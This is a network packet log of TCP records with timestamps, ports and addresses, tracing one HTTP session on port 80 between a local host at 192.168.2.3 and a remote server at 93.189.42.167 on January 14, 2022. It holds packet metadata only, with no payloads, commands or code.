Jan 14, 2022 02:05:05.192662001 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192678928 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192693949 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192696095 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192713022 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192723989 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192728996 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192745924 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192759991 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192763090 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192785025 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192790985 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192809105 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192828894 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192835093 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192863941 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192888975 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192904949 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192914963 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192933083 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192934036 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192950010 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192966938 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192977905 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192982912 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193001032 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193011045 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.193017960 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193036079 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193046093 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.193053007 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193068981 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193079948 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.193085909 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193103075 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.193129063 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.193151951 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.202466965 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.243964911 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.243993998 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244008064 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244020939 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244039059 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244056940 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244076014 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244093895 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244111061 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244122982 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244139910 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244155884 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244173050 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244196892 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244223118 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244246960 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244270086 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244292021 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244291067 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244308949 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244326115 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244343042 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244363070 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244379044 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244395971 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244412899 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244417906 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244425058 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244430065 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244431019 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244435072 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244440079 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244447947 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244465113 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244467974 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244488001 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244493961 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244498968 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244504929 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244520903 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244522095 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244528055 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244539022 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244554996 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244555950 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244580030 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244602919 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244626045 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244633913 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244642973 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244649887 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244674921 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244676113 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244694948 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244712114 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244729042 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244744062 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244761944 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244776964 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.244785070 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244795084 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244800091 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.244820118 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.249587059 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.253176928 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253201962 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253216982 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253233910 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253251076 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253261089 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.253264904 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.253287077 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.253319025 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295466900 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295501947 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295519114 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295538902 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295577049 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295593977 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295617104 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295635939 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295659065 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295681000 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295703888 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295706987 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295727968 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295749903 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295752048 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295757055 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295778036 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295788050 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295799971 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295825005 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295836926 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295847893 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295871019 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295877934 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.295896053 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295923948 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295948029 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295969009 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.295985937 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296004057 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296021938 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296039104 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296051025 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296056986 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296061039 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296066999 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296072960 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296075106 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296077967 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296092033 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296118021 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296132088 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296140909 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296164036 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296165943 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296190977 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296209097 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296217918 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296242952 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296263933 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296281099 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296298027 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296315908 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296331882 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.296346903 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296356916 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296363115 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.296374083 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.300218105 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.300241947 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.300255060 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.300266027 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.300333977 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.303841114 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303874969 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303900003 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303917885 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303931952 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.303932905 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303951979 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.303972960 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.303997040 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347150087 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347192049 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347209930 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347230911 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347253084 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347278118 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347302914 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347316980 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347327948 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347352982 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347371101 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347378969 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347397089 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347404003 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347424030 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347429037 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347455978 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347481966 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347497940 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347507000 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347527981 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347531080 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347557068 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347567081 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347580910 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347605944 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347615957 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347632885 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347659111 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347670078 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347686052 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347711086 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347722054 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347734928 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347760916 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347773075 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347785950 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347810984 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347836971 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347847939 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347862959 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347878933 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347892046 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347919941 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347944021 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347960949 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347973108 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.347989082 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.347991943 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348009109 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348027945 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348046064 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348050117 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.348063946 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348078012 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.348083019 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.348107100 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.350897074 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.350930929 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.350955963 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.350980043 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.350980043 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.351002932 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.354537964 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354573965 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354595900 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.354599953 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354626894 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354651928 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354665041 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.354677916 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.354687929 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.398700953 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398730993 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398745060 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398756981 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398765087 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398777962 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398797035 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398814917 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398833036 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398849010 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398865938 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398884058 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398896933 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.398900032 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398917913 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398921967 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.398936033 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398955107 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398964882 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.398972034 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.398988962 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399003983 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399007082 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399013996 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399024963 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399040937 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399040937 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399058104 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399075031 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399091005 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399100065 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399115086 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399130106 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399131060 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399147987 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399154902 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399166107 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399182081 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399189949 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399199009 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399215937 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399224043 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399231911 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399249077 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399255037 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399266005 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399282932 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399300098 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399303913 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399316072 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399333000 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399336100 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399348974 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399358034 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399365902 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399382114 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399393082 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399399042 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399416924 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399422884 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399434090 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399450064 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399450064 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399466038 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399482012 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399482965 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399499893 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399513006 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399516106 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399533987 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399544954 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399550915 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399569035 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399585009 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399589062 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399601936 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399619102 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399620056 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399636984 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399653912 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399669886 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399674892 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399686098 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.399701118 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.399703979 CET	80	49848	93.189.42.167	192.168.2.3
